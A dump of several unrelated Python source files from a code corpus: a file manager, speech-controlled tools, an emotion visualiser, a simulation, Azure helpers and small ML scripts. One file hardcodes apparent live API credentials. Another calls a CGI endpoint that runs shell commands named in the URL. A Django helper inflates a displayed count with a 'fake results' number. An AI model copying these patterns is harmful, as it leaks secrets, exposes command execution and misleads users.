self.tab.getapp()\n\n    def sel(self):\n        fs = self.__num_to_files(self.selected)\n        qf = [self.getapp().config[\"shell_quote\"] + f + self.getapp().config[\"shell_quote\"] for f in fs]\n        return self.getapp().config[\"filesep\"].join(qf)\n\n    def curf(self):\n        if self.dents:\n            return self.getapp().config[\"shell_quote\"] + self.dents[self.cur].path() + self.getapp().config[\"shell_quote\"]\n        else:\n            return ''\n\n    def create(tab, path = ''):\n\n        if path == '': # Must return a Dir object\n            if os.path.exists(os.environ[\"HOME\"]):\n                d = Dir(tab, os.environ[\"HOME\"])\n            else:\n                d = Dir(tab, \"/\")\n            return d\n\n        if not os.path.exists(path):\n            return None\n        d = Dir(tab, path)\n        return d\n\n    def __init__(self, tab, path):\n        self.tab = tab\n        self.root = Utils.rpath(path)\n        self.dents = []\n        for f in Utils.listdir(path, self.getapp().config[\"show_hidden\"]):\n            self.dents.append(Dentry(self, f))\n        self.dents = sorted(self.dents, key = self.getapp().config[\"sortkey\"])\n        self.n = len(self.dents)\n        self.cur = min(0, self.n - 1)\n        self.selected = set([])\n        self.search_pat = ''\n        self.search_results = []\n        self.search_cur = 0\n        self.pad = None\n\n    def dentry(self):\n        return self.dents[self.cur]\n    \n    def __is_selected(self, n):\n        return n in self.selected\n\n    def __open_files(self, lof):\n        for f in lof:\n            pass\n\n    # WARNING: A reload operation destroys the following\n    # 1) The list of selected files in the directory.\n    # 2) The current 'search' status in the directory.\n    def reload(self):\n        # Reload list of files from disk\n        self.dents = []\n        for f in Utils.listdir(self.root, self.getapp().config[\"show_hidden\"]):\n            self.dents.append(Dentry(self, f))\n        self.dents = sorted(self.dents, key = self.getapp().config[\"sortkey\"])\n        self.n = len(self.dents)\n        if self.n == 0: self.cur = -1\n        else: self.cur = max(min(self.cur, self.n - 1), 0) # Keep cursor as close as possible.\n        self.selected = set([]) # TODO: Preserve selected files\n        self.search_pat = ''    # TODO: Reload search data\n        self.search_cur = 0\n        self.search_results = []\n        self.winexit()\n        self.wininit()\n    \n    ## Motion commands\n\n    def next(self, count = 1):\n        oldcur = self.cur\n        self.cur = (self.cur + count) % self.n\n        self.update([self.cur, oldcur])\n\n    def prev(self, count = 1):\n        oldcur = self.cur\n        self.cur = (self.cur - count) % self.n\n        self.update([self.cur, oldcur])\n\n    def goto_line(self, lineno = 0):\n        oldcur = self.cur\n        self.cur = (lineno - 1) % self.n\n        self.update([self.cur, oldcur])\n\n    def search(self, pat):\n        if self.getapp().config[\"search_case_insensitive\"]:\n            re_flags = re.I\n        else:\n            re_flags = 0\n        res = []\n        for i, s in enumerate(map(lambda x: x.cname(), self.dents)):\n            if re.search(pat, s, re_flags):\n                res.append(i)\n        self.search_pat = pat\n        old_search = self.search_results\n        self.search_results = res\n        self.search_cur = 0\n        oldcur = self.cur\n        if self.search_results:\n            self.cur = self.search_results[self.search_cur]\n        self.update([self.cur, oldcur] + self.search_results + old_search)\n\n    def search_next(self, count = 1):\n        if self.search_results:\n            oldcur = self.cur\n            self.search_cur = (self.search_cur + count) % len(self.search_results)\n            self.cur = self.search_results[self.search_cur]\n            self.update([self.cur, oldcur])\n\n    def search_prev(self, count = 1):\n        if self.search_results:\n            oldcur = self.cur\n            self.search_cur = (self.search_cur - count) % len(self.search_results)\n            self.cur = self.search_results[self.search_cur]\n            self.update([self.cur, oldcur])\n\n    ## Operator commands\n\n    def __get_motion_range(self, motion):\n        start = self.cur\n        motion()\n        end = self.cur\n        return range(min(start, end), max(start, end) + 1)\n\n    def select(self, motion = None, search = False):\n        if motion:\n            new = self.__get_motion_range(motion)\n            self.selected = self.selected.union(new)\n        elif search:\n            new = self.search_results\n            self.selected = self.selected.union(new)\n        self.update(new)\n\n    def deselect(self, motion = None, search = False):\n        if motion:\n            new = self.__get_motion_range(motion)\n            self.selected = self.selected.difference(new)\n        elif search:\n            new = self.search_results\n            self.selected = self.selected.difference(new)\n        self.update(new)\n\n    def __num_to_files(self, lon):\n        return [self.dents[i].path() for i in lon]\n\n    def yank(self, motion = None, reg = '0', select = None, search = False):\n        if select:\n            self.getapp().Registers[reg] = self.__num_to_files(self.selected)\n        elif motion:\n            self.getapp().Registers[reg] = self.__num_to_files(self.__get_motion_range(motion))\n        elif search:\n            self.getapp().Registers[reg] = self.__num_to_files(self.search_results)\n\n    def append(self, motion = None, reg = '0', select = False, search = False):\n        if select:\n            self.getapp().Registers[reg].extend(self.__num_to_files(self.selected))\n        elif motion:\n            self.getapp().Registers[reg].extend(self.__num_to_files(self.__get_motion_range(motion)))\n        elif search:\n            self.getapp().Registers[reg].extend(self.__num_to_files(self.search_results))\n\n    # Put files\n    def put(self, reg = '0'):\n        for path in self.getapp().Registers[reg]:\n            dst = self.path() + os.sep + os.path.basename(path)\n            if os.path.isdir(path):\n                shutil.copytree(path, dst, copy_function = report_progress_and_copy(self.getapp()))\n            else:\n                copy_func = report_progress_and_copy(self.getapp())\n                copy_func(path, dst)\n        self.reload()\n\n    def open_terminal(self):\n        cur_save = os.path.abspath(os.curdir)\n        os.chdir(self.path())\n        Utils.spawn(self.getapp().config[\"terminal\"],\n                    [self.getapp().config[\"terminal\"]] + self.getapp().config[\"terminal_args\"])\n        os.chdir(cur_save)\n\n    # Delete files\n    def delete(self, motion = None, select = False, reg = None, search = False):\n        if motion:\n            Utils.delete_files(self.__num_to_files(self.__get_motion_range(motion)))\n        elif select:\n            Utils.delete_files(self.__num_to_files(self.selected))\n        elif reg:\n            Utils.delete_files(self.getapp().Registers[reg])\n        elif search:\n            Utils.delete_files(self.__num_to_files(self.search_results))\n        self.reload()\n\n    def view(self, motion = None, select = False, reg = None, search = False):\n        if motion:\n            Utils.view_files(self.__num_to_files(self.__get_motion_range(motion)))\n        elif select:\n            Utils.view_files(self.__num_to_files(self.selected))\n        elif search:\n            Utils.view_files(self.__num_to_files(self.search_results))\n        elif reg:\n            Utils.view_files(self.getapp().Registers[reg])\n\n    def new_dir(self, name):\n        os.makedirs(name)\n        self.reload()\n\n    def path(self):\n        return self.root\n\n    def exists(self):\n        return os.path.exists(self.root)\n\n    def cname(self):\n        return os.path.basename(self.root)\n\n    def update(self, lines):\n        self.getapp().UI.dirupdate(self, lines)\n        \n    def wininit(self):\n        self.getapp().UI.dirinit(self)\n        self.update(range(0, self.n))\n\n    def winexit(self):\n        self.getapp().UI.direxit(self)\n","sub_path":"Dir.py","file_name":"Dir.py","file_ext":"py","file_size_in_byte":9256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"560307278","text":"#from django.contrib.sessions.middleware import SessionMiddleware\n\nfrom django.conf import settings\nfrom calc.models import Result\n\n\ndef cutter_context(request):\n    context_data = dict()\n    context_data['results_count'] = request.results_count = int(\n            Result.objects.all().count() + settings.CUTTER_FAKE_RESULTS_NUMBER)\n    return context_data\n","sub_path":"cutter/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"450250028","text":"import webbrowser\nimport speech_recognition as sr\nimport pyttsx3\nprint(\"welcome to my tools\\n\\n\")\npyttsx3.speak(\"welcome to my tools\")\n\nwhile 1 :\n\tprint(\"Enter your requirements.......we r listening.....\", end='')\t\n\tpyttsx3.speak(\"Enter your requirements.......we r listening.....\")\n\t#ch=input()\n\tr = sr.Recognizer()\n\twith sr.Microphone() as source :\n    \t\tprint('start saying......')\n    \t\tpyttsx3.speak('start saying......')\n    \t\taudio  =r.listen(source)\n    \t\tprint('we got it,plz wait.....')\n    \t\tpyttsx3.speak('we got it,plz wait.....')\n\tch=r.recognize_google(audio)\n\tif  ('date'in ch)and ('run' in ch) or ('execute' in ch): \n\t\tpyttsx3.speak(\"Running the date command\")\t\t\t\n\t\twebbrowser.open(\"http://192.168.43.229/cgi-bin/iiec.py?x=date&p=\") \n\t\tinput()\n\telif ('calender' in ch) and ('run' in ch)or ('execute' in ch): \n\t\tpyttsx3.speak('Running the cal command')\n\t\twebbrowser.open(\"http://192.168.43.229/cgi-bin/iiec.py?x=cal&p=\")\n\t\tinput()  \n\telif('exit' in ch):\n\t\tpyttsx3.speak('Exiting')\n\t\tbreak\n     \n\telse:\n\t\tprint(\"not uderstand\")\n\t\tpyttsx3.speak('not understand')\n\t\tinput()\n","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"271972742","text":"from matplotlib import pyplot\n\nnunique_days = df.groupby(['code', 'hour']).nunique()['date'].reset_index()\nnunique_days = nunique_days.pivot(index='code', columns='hour', values='date')\n\npyplot.figure(\n    figsize=(15, 15))\n\nsns.heatmap(\n    data=nunique_days, \n    linewidths=.2, \n    xticklabels=True, \n    yticklabels=True,\n    annot=True)\n","sub_path":"visualization/heatmap.py","file_name":"heatmap.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"551561716","text":"import ast\r\nfrom zellegraphics import *\r\nimport json\r\nimport pyaudio\r\nfrom rev_ai.models import MediaConfig\r\nfrom rev_ai.streamingclient import RevAiStreamingClient\r\nfrom six.moves import queue\r\nfrom ibm_watson import ToneAnalyzerV3\r\nimport numpy as np\r\nimport threading\r\nfrom threading import Thread\r\nimport time\r\n\r\n\r\n#setting up initial figure\r\nfig_list = []\r\nfig = GraphWin(\"test\",1000,1000)\r\nmood_dict = {}\r\nfull_words = ''\r\n\r\n\r\ndef set_header():\r\n    r1 = Rectangle(Point(2,0), Point(22,20))\r\n    r1.setFill('red')\r\n    r1.draw(fig)\r\n    \r\n    t0 = Text(Point(500,800),full_words)\r\n    t0.setSize(12)\r\n    t0.draw(fig)\r\n    \r\n    t1 = Text(Point(50,12),\"Anger\")\r\n    t1.draw(fig)\r\n    \r\n    r2 = Rectangle(Point(2,25), Point(22,45))\r\n    r2.setFill('yellow')\r\n    r2.draw(fig)\r\n    \r\n    t2 = Text(Point(40,37),\"Joy\")\r\n    t2.draw(fig)\r\n    \r\n    r3 = Rectangle(Point(2,50), Point(22,70))\r\n    r3.setFill('blue')\r\n    r3.draw(fig)\r\n    \r\n    t3 = Text(Point(60,62),\"Sadness\")\r\n    t3.draw(fig)\r\n    \r\n    r4 = Rectangle(Point(2,75), Point(22,95))\r\n    r4.setFill('green')\r\n    r4.draw(fig)\r\n    \r\n    t5 = Text(Point(60,87),\"Confident\")\r\n    t5.draw(fig)\r\n    \r\n    r5 = Rectangle(Point(112,0), Point(132,20))\r\n    r5.setFill('black')\r\n    r5.draw(fig)\r\n    \r\n    t4 = Text(Point(170,12),\"Tentative\")\r\n    t4.draw(fig)\r\n    \r\n    r6 = Rectangle(Point(112,25), Point(132,45))\r\n    r6.setFill('pink')\r\n    r6.draw(fig)\r\n    \r\n    t6 = Text(Point(156,37),\"Fear\")\r\n    t6.draw(fig)\r\n    \r\n    r7 = Rectangle(Point(112,50), Point(132,70))\r\n    r7.setFill('white')\r\n    r7.draw(fig)\r\n    \r\n    t7 = Text(Point(168,62),\"Analytic\")\r\n    t7.draw(fig)\r\n    \r\n\r\n'''\r\nc1 = Circle(Point(10,10),10)\r\nc1.draw(fig)\r\nfig_list.append(c1)\r\nc2 = Circle(Point(10,10),10)\r\nfig_list.append(c2)\r\nc2.draw(fig)\r\n'''\r\n\r\ndef simple_update(fig,fig_list,dictionary):\r\n    print(\"SIMPLE UPDATING\")\r\n    for item in fig_list:\r\n        item.canvas.delete('all')\r\n    fig_list = []\r\n    set_header()\r\n    fig.update()\r\n    dcopy = dict(dictionary)\r\n    highest = {}\r\n    if len(dcopy) > 0:\r\n        for key in dcopy:\r\n            if dcopy[key] == max(dcopy.values()):\r\n                highest[key] = dcopy[key]\r\n                radius = max(dcopy.values())\r\n                best_key = key\r\n        if best_key == 'Fear':\r\n               c=('Pink')\r\n        if best_key == 'Joy':\r\n                c=('yellow')\r\n        if best_key == 'Sadness':\r\n                c=('blue')\r\n        if best_key == 'Analytical':\r\n                c=('white')\r\n        if best_key == 'Tentative':\r\n                c=('black')  \r\n        if best_key == 'Confident':\r\n                c=('green') \r\n        if best_key == 'Anger':\r\n               c=('Red')\r\n        del(dcopy[best_key])\r\n        t = (Circle(Point(500,500),highest[best_key]))\r\n        t.setFill(c)\r\n        t.draw(fig)\r\n        #fig_list.append((Circle(Point(500,500),highest[best_key])).draw(fig))\r\n        pi = np.pi\r\n        intervals = []\r\n        if len(dcopy) > 0:\r\n            radian_interval = 2*pi/(len(dcopy))\r\n        else:\r\n            radian_interval = 0\r\n        n = 0\r\n        for key in dcopy.keys():\r\n            temp = (Circle(Point((radius+dcopy[key])*np.cos(n*radian_interval)+500,(radius+dcopy[key])*np.sin(n*radian_interval)+500),dcopy[key]))\r\n            if key == 'Fear':\r\n                temp.setFill('Pink')\r\n            if key == 'Joy':\r\n                temp.setFill('yellow')\r\n            if key == 'Sadness':\r\n                temp.setFill('blue')\r\n            if key == 'Analytical':\r\n                temp.setFill('white')\r\n            if key == 'Tentative':\r\n                temp.setFill('black')\r\n            if key == 'Confident':\r\n                temp.setFill('green')\r\n            if key == 'Anger':\r\n                temp.setFill('Red')  \r\n            temp.draw(fig)\r\n            fig_list.append(temp)\r\n            n+=1\r\n    return (fig,fig_list)\r\n\r\n\r\ntone_analyzer = ToneAnalyzerV3(version='2017-09-21',iam_apikey='DdFanI4TaHrDEKTITRDD7EOK6QaxkFv39Nmuvdov6NCi',url='https://gateway-syd.watsonplatform.net/tone-analyzer/api')\r\n\r\n\r\nclass MicrophoneStream(object):\r\n    \"\"\"Opens a recording stream as a generator yielding the audio chunks.\"\"\"\r\n    def __init__(self, rate, chunk):\r\n        self._rate = rate\r\n        self._chunk = chunk\r\n        # Create a thread-safe buffer of audio data\r\n        self._buff = queue.Queue()\r\n        self.closed = True\r\n    def __enter__(self):\r\n        self._audio_interface = pyaudio.PyAudio()\r\n        self._audio_stream = self._audio_interface.open(\r\n            format=pyaudio.paInt16,\r\n            # The API currently only supports 1-channel (mono) audio\r\n            channels=1, rate=self._rate,\r\n            input=True, frames_per_buffer=self._chunk,\r\n            # Run the audio stream asynchronously to fill the buffer object.\r\n            # This is necessary so that the input device's buffer doesn't\r\n            # overflow while the calling thread makes network requests, etc.\r\n            stream_callback=self._fill_buffer,\r\n        )\r\n        self.closed = False\r\n        return self\r\n    def __exit__(self, type, value, traceback):\r\n        self._audio_stream.stop_stream()\r\n        self._audio_stream.close()\r\n        self.closed = True\r\n        # Signal the generator to terminate so that the client's\r\n        # streaming_recognize method will not block the process termination.\r\n        self._buff.put(None)\r\n        self._audio_interface.terminate()\r\n    def _fill_buffer(self, in_data, frame_count, time_info, status_flags):\r\n        \"\"\"Continuously collect data from the audio stream, into the buffer.\"\"\"\r\n        self._buff.put(in_data)\r\n        return None, pyaudio.paContinue\r\n    def generator(self):\r\n        while not self.closed:\r\n            # Use a blocking get() to ensure there's at least one chunk of\r\n            # data, and stop iteration if the chunk is None, indicating the\r\n            # end of the audio stream.\r\n            chunk = self._buff.get()\r\n            if chunk is None:\r\n                return\r\n            data = [chunk]\r\n            # Now consume whatever other data's still buffered.\r\n            while True:\r\n                try:\r\n                    chunk = self._buff.get(block=False)\r\n                    if chunk is None:\r\n                        return\r\n                    data.append(chunk)\r\n                except queue.Empty:\r\n                    break\r\n            yield b''.join(data)\r\n# Sampling rate of your microphone and desired chunk size\r\nrate = 44100\r\nchunk = int(rate/10)\r\n# Insert your access token here\r\naccess_token = \"025B_jazWiRLZ9kbTJUQWLNG9OCAgM3M2_LF0LZAxvFzOF740DssyFBwON0aAsgjWXPmn8ufNyUVrQUfR0vEGfQPAjzyw\"\r\n# Creates a media config with the settings set for a raw microphone input\r\nexample_mc = MediaConfig('audio/x-raw', 'interleaved', 44100, 'S16LE', 1)\r\nstreamclient = RevAiStreamingClient(access_token, example_mc)\r\n# Opens microphone input. The input will stop after a keyboard interrupt.\r\n\r\nwith MicrophoneStream(rate, chunk) as stream:\r\n    # Uses try method to allow users to manually close the stream\r\n    try: \r\n        # Starts the server connection and thread sending microphone audio\r\n        response_gen = streamclient.start(stream.generator())\r\n        # Iterates through responses and prints them\r\n        for response in response_gen:\r\n            modified = False\r\n            tones = {}\r\n            words = []\r\n            words2=[]\r\n            rdict = (ast.literal_eval(response))\r\n            if rdict['type'] == 'partial':\r\n                for d in rdict['elements']:\r\n                    words.append(d['value'])\r\n            if rdict['type'] == 'final':\r\n                for d in rdict['elements']:\r\n                    if d['value'] not in [' ', ',','.',';']:\r\n                        words2.append(d['value'])\r\n            if len(words) > 0:\r\n                #the maybe words\r\n                #print(words[-1])\r\n                1==1\r\n                \r\n                \r\n            if len(words2) > 0:\r\n                full_words = ''\r\n                for char in words2:\r\n                    full_words+=char+\" \"\r\n                #t0.draw(fig)\r\n                text = str(words2)[1:-1]\r\n                tone_analysis = tone_analyzer.tone({'text': text},content_type='application/json').get_result()['document_tone']['tones']\r\n                for tone in tone_analysis:\r\n                    tones[tone['tone_name']] = tone['score']\r\n                #print(tones)\r\n                for key in tones.keys():\r\n                    if key not in mood_dict:\r\n                        mood_dict[key] = 100*float(tones[key])\r\n                        modified = True\r\n                    else:   \r\n                        mood_dict[key] = (mood_dict[key]+ 100*float(tones[key]))\r\n                        modified = True\r\n            for key in mood_dict.keys():\r\n                mood_dict[key] = mood_dict[key]*.94\r\n            #print(\"MOOD DICT\",mood_dict)\r\n                \r\n            results = simple_update(fig,fig_list,mood_dict)\r\n            fig = results[0]\r\n            fig_list = results[1]\r\n             \r\n    except KeyboardInterrupt:\r\n        # Ends the websocket connection.\r\n        streamclient.client.send(\"EOS\")\r\n        fig.close()\r\n        pass","sub_path":"HackMIT2019.py","file_name":"HackMIT2019.py","file_ext":"py","file_size_in_byte":9250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"568339263","text":"import getopt\nimport sys\nfrom Simulator import Simulation\nimport numpy as np\n\nargumentHash = {'SIM_TIME': None, 'isFixedLatency': False, 'maxLatency': None, 'numLP':2}\n#if fixed, lower limit is equal to 1\n\n\nclass LPS:\n    staticSim = None\n    def __init__(self, thisID):\n        self.thisID = thisID\n        self.dstLP = None\n        self.numRecieved = 0\n        self.numSent = 0\n        self.state = 0\n\n    def generateInitialEvent(self):\n        #state 0 means event created and put into queue\n        #state 1 means event recieved, send new event, go to eventArrived\n        #state 2 means finish.  End state\n        #timestamp is estimated arrival\n        self.state = 0\n        self.setDstLP((self.thisID+1) % argumentHash['numLP'])\n        #constant LP\n        if argumentHash['isFixedLatency']:\n            latency = argumentHash['maxLatency']\n        #randomLatency\n        else:\n            latency = np.random.randint(low=1, high=argumentHash['maxLatency']+1)\n        dataList = {'destLP': self.dstLP,  'state': self.state}\n        time_stamp = LPS.staticSim.getCurrTime() + latency #depart_time\n        msgNode = LPS.staticSim.createMessage(dataList, time_stamp)\n        LPS.staticSim.sendMessage(msgNode)\n\n    def generateEvent(self):\n        self.state = 1\n        self.setDstLP((self.thisID+1) % argumentHash['numLP'])\n        #constant LP\n        if argumentHash['isFixedLatency']:\n            latency = argumentHash['maxLatency']\n        #randomLatency\n        else:\n            latency = np.random.randint(low=1, high=argumentHash['maxLatency']+1)\n        dataList = {'destLP': self.dstLP,  'state': self.state}\n        time_stamp = LPS.staticSim.getCurrTime() + latency #depart_time\n        msgNode = LPS.staticSim.createMessage(dataList, time_stamp)\n        LPS.staticSim.sendMessage(msgNode)\n    def finishEvent(self):\n        #event finished, do nothing\n        self.state = 2\n\n\n    def setDstLP(self, destLP):\n        self.dstLP = destLP\n\n    @staticmethod\n    def setSim(ss):\n        LPS.staticSim = ss\n\n\ndef prossargs():\n    try:\n        opt, args = getopt.getopt(sys.argv[1:], \"s:fk:\")\n    except getopt.GetoptError:\n        usage()\n        sys.exit(2)\n    for opts, arg in opt:\n        if opts == '-s':\n            if not arg.isdigit():\n                usage()\n            elif int(arg) <=0:\n                print('Cannot have simtime <= 0, exiting...')\n            else:\n                argumentHash['SIM_TIME'] = int(arg)\n        elif opts == '-f':\n            argumentHash['isFixedLatency'] = True\n        elif opts == '-k':\n            if not arg.isdigit():\n                usage()\n            elif int(arg) <=0:\n                print('Cannot have K <= 0, exiting...')\n            else:\n                argumentHash['maxLatency'] = int(arg)\n    for a in argumentHash.keys():\n        if argumentHash[a] is None:\n            usage()\n\n\ndef usage():\n    print('please input only int values for args')\n    print(\n        \"python ping.py -s 'INT-TIME' [-f optional ] -k 'INT -upper Latency'\")\n    exit(2)\n\n\n#onLp is the number of which LP currently being created.\n\n\nprossargs()\n\nlistOfLp=list()\n\nfor lps in range(argumentHash['numLP']):\n    listOfLp.append(LPS(lps))\n\ns = Simulation(simTime=argumentHash['SIM_TIME'], latencyUpper=argumentHash['maxLatency'], isLatencyConstant=argumentHash['isFixedLatency'], lpList=listOfLp)\nLPS.setSim(s)\ns.simulate()\nprint(\"Number of total trip:  {}\".format(s.getNumTotalTrips()))\nprint(\"Number of total round trips:  {}\".format(s.getNumRoundTrips()))","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"549642076","text":"#!/usr/bin/env python\n\nimport json,sys\nfrom util import print_error, print_log, print_result\n\n\ndef deunicodify_hook(pairs):\n    new_pairs = []\n    for key, value in pairs:\n        if isinstance(value, unicode):\n            value = value.encode('utf-8')\n        if isinstance(key, unicode):\n            key = key.encode('utf-8')\n        new_pairs.append((key, value))\n    return dict(new_pairs)\n\ndef construct_fip_id(subscription_id, group_name, lb_name, fip_name):\n    \"\"\"Build the future FrontEndId based on components name.\n    \"\"\"\n    return ('/subscriptions/{}'\n            '/resourceGroups/{}'\n            '/providers/Microsoft.Network'\n            '/loadBalancers/{}'\n            '/frontendIPConfigurations/{}').format(\n                subscription_id, group_name, lb_name, fip_name\n            )\n\ndef construct_bap_id(subscription_id, group_name, lb_name, address_pool_name):\n    \"\"\"Build the future BackEndId based on components name.\n    \"\"\"\n    return ('/subscriptions/{}'\n            '/resourceGroups/{}'\n            '/providers/Microsoft.Network'\n            '/loadBalancers/{}'\n            '/backendAddressPools/{}').format(\n                subscription_id, group_name, lb_name, address_pool_name\n            )\n\ndef construct_probe_id(subscription_id, group_name, lb_name, probe_name):\n    \"\"\"Build the future ProbeId based on components name.\n    \"\"\"\n    return ('/subscriptions/{}'\n            '/resourceGroups/{}'\n            '/providers/Microsoft.Network'\n            '/loadBalancers/{}'\n            '/probes/{}').format(\n                subscription_id, group_name, lb_name, probe_name\n            )         \n\ndef update_nic_paramaters(address_pool_id, location, nic_info, params):\n    \"\"\"Update the NIC parameters structure.\n    \"\"\"\n    nic_params = params['nicParams']\n    nic_params['location'] = location\n    nic_params['ip_configurations'][0]['name'] = nic_info.ip_configurations[0].name\n    nic_params['ip_configurations'][0]['subnet']['id'] = nic_info.ip_configurations[0].subnet.id\n    nic_params['ip_configurations'][0]['load_balancer_backend_address_pools'] = [{\n        \"id\": address_pool_id\n    }]\n\n    return nic_params\n\n    #nic_params['ip_configurations'][0]['load_balancer_inbound_nat_rules'][0]['id'] = natrule_id\n\ndef create_vm_parameters(nic_id, is_nic_primary, location, vm_info, params):\n    \"\"\"Create the VM parameters structure.\n    \"\"\"\n    vm_params = params['vmParams']\n    vm_params['location'] = location\n    vm_params['network_profile']['network_interfaces'][0]['id'] = nic_id\n    vm_params['network_profile']['network_interfaces'][0]['primary'] = is_nic_primary\n    return vm_params     \n\ndef get_error_messages():\n    messages = {}\n    try:\n        with open('error_messages.json', 'r') as file:\n            messages = json.loads(str(file.read()), object_pairs_hook=deunicodify_hook)\n    except Exception as err:\n        print_error('failed to load parmaters json!')\n        sys.exit(127)\n\n    return messages\n\ndef generate_params_error_message(parameters, error_message):\n    reason = \"\"\n    if isinstance(parameters, list):\n        reason = ','.join(parameters)\n    else:\n        reason = parameters\n\n    reason += \" ,\" + error_message\n    return reason\n\n\ndef write_log(err):\n    f = open('FAILURE','w')\n    f.write(str(err))\n    f.close()\n\ndef error_messages():\n    global error_messages\n    error_messages = get_error_messages()\n\nerror_messages()","sub_path":"Content/Networking/DNS/Azure/AzureDnsZones/WorkloadManager/src/Azure_dns_zones/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"537849782","text":"\"\"\" Module for feature extraction based on special characters (e.g. ? ! .) \"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom path_helper import get_project_root\n\n\nclass SpecialCharacters:\n    \"\"\" Extract list of special characters (list is set in constructor) \"\"\"\n\n    def __init__(self):\n        self.list_of_special_characters = {\n            \"exclamation_mark\": \"!\",\n            \"question_mark\": \"?\",\n            \"full_stop_mark\": \".\",\n        }\n\n    def extract_features(self, df, visualize=False):\n        \"\"\"Extract number of special characters per data instance\n        Parameters:\n            df with the columns: class and content\n        Return:\n            passed df with new feature columns containing the count of the special character\n        \"\"\"\n        for key in self.list_of_special_characters:\n            df = self._count_number_of_special_characters(\n                key, self.list_of_special_characters[key], df\n            )\n        if visualize:\n            self.visualize_special_characters(df)\n        return df\n\n    def _count_number_of_special_characters(self, character_name, character, df):\n        feature_name = \"number_of_\" + character_name\n        df[feature_name] = df[\"content\"].apply(\n            lambda cell: self._count_character(cell, character)\n        )\n        return df\n\n    @staticmethod\n    def _count_character(sentence, character):\n        return sentence.count(character)\n\n    def visualize_special_characters(self, df):\n        \"\"\"Visualizes the number of special characters as bar plot\n        Parameters:\n            df: dataframe with the extracted features for special characters\n        Return:\n            stores barplots in analysis folder\n        \"\"\"\n        df_hate_speech = df[df[\"class\"] == 0]\n        df_neutral_speech = df[df[\"class\"] == 1]\n        for character in self.list_of_special_characters:\n            hate_bincount = self._calculate_bincount_of_special_character(\n                df_hate_speech, character\n            )\n            neutral_bincount = self._calculate_bincount_of_special_character(\n                df_neutral_speech, character\n            )\n\n            hate_bincount_summarized = self._summarize_bincount_data(hate_bincount)\n            neutral_bincount_summarized = self._summarize_bincount_data(\n                neutral_bincount\n            )\n\n            x = np.arange(11)\n            plt.bar(x + 0.0, hate_bincount_summarized, color=\"r\", width=0.2)\n            plt.bar(x + 0.2, neutral_bincount_summarized, color=\"b\", width=0.2)\n            x_ticks = [str(x) for x in range(10)]\n            x_ticks.append(\">10\")\n            plt.xticks(x, x_ticks)\n            plt.title(\n                \"Number of data instances with number of \"\n                + self.list_of_special_characters[character]\n            )\n            plt.xlabel(\"Number of \" + character)\n            plt.ylabel(\"Number of data instances\")\n            plt.legend([\"hate speech\", \"neutral speech\"])\n            plt.savefig(\n                str(get_project_root())\n                + \"/analysis/features/semantic/barchart_special_character_\"\n                + character\n            )\n\n    def _calculate_bincount_of_special_character(self, df, character):\n        return np.bincount(np.array(df[\"number_of_\" + character]))\n\n    def _summarize_bincount_data(self, array):\n        return np.append(array[:10], array[10:].sum())\n","sub_path":"src/feature_extraction/semantic/special_characters.py","file_name":"special_characters.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"459766823","text":"import numpy as np\nfrom sklearn import datasets\nfrom scipy.sparse.linalg import eigs\nfrom plot_slices import plot2d\nfrom sklearn_digits_tut import get_digits_classifier\n\n# Implements the visualisation method described in Adel et al.\n# 3D scattering transforms for disease classification in neuroimaging (2017).\n\n\ndef approximate_gradient(classifier, x, X, k=6, epsilon=1e-5):\n    \"\"\"\n    classifier: outputs probability of vector x belonging to a certain class (G(x) in paper)\n    x: input feature vector\n    X: training data set (needed in order to calculate priciple directions)\n    k: number of principle directions to use in approximating the gradient of the classifier G(x).\n    epsilon: magnitude of perturbation (must be small.)\n    \"\"\"\n\n    # Each row represents an observation\n    covariance_matrix = np.cov(X, rowvar=False)\n    eigenvalues, eigenvectors = eigs(covariance_matrix, k=k)\n    eigenvalues, eigenvectors = np.real(eigenvalues), np.real(eigenvectors)\n\n    classifier_x = classifier.decision_function(x.reshape((1, -1)))\n    gradient = np.zeros(eigenvectors.shape[0])\n    for i in range(k):\n        eigenvector = eigenvectors[:, i]\n        gradient += ((classifier_x - classifier.decision_function((x + epsilon*eigenvector).reshape((1, -1)))) / epsilon) * eigenvector\n\n    return gradient\n\n\ndef visualize_gradient(gradient):\n    # reshape back to 2D array representing image.\n    gradient = np.reshape(gradient, (int(np.sqrt(gradient.shape[0])), int(np.sqrt(gradient.shape[0]))))\n    plot2d(gradient)\n\n\ndef stub_classifier(x):\n    return np.random.rand()\n\n\nif __name__ == '__main__':\n    digits = datasets.load_digits()\n    feature_vectors = digits.data\n    x = feature_vectors[0]\n    k = 6\n\n    gradient = approximate_gradient(stub_classifier, x, feature_vectors, k)\n    visualize_gradient(gradient)\n","sub_path":"visualisation_gradient.py","file_name":"visualisation_gradient.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
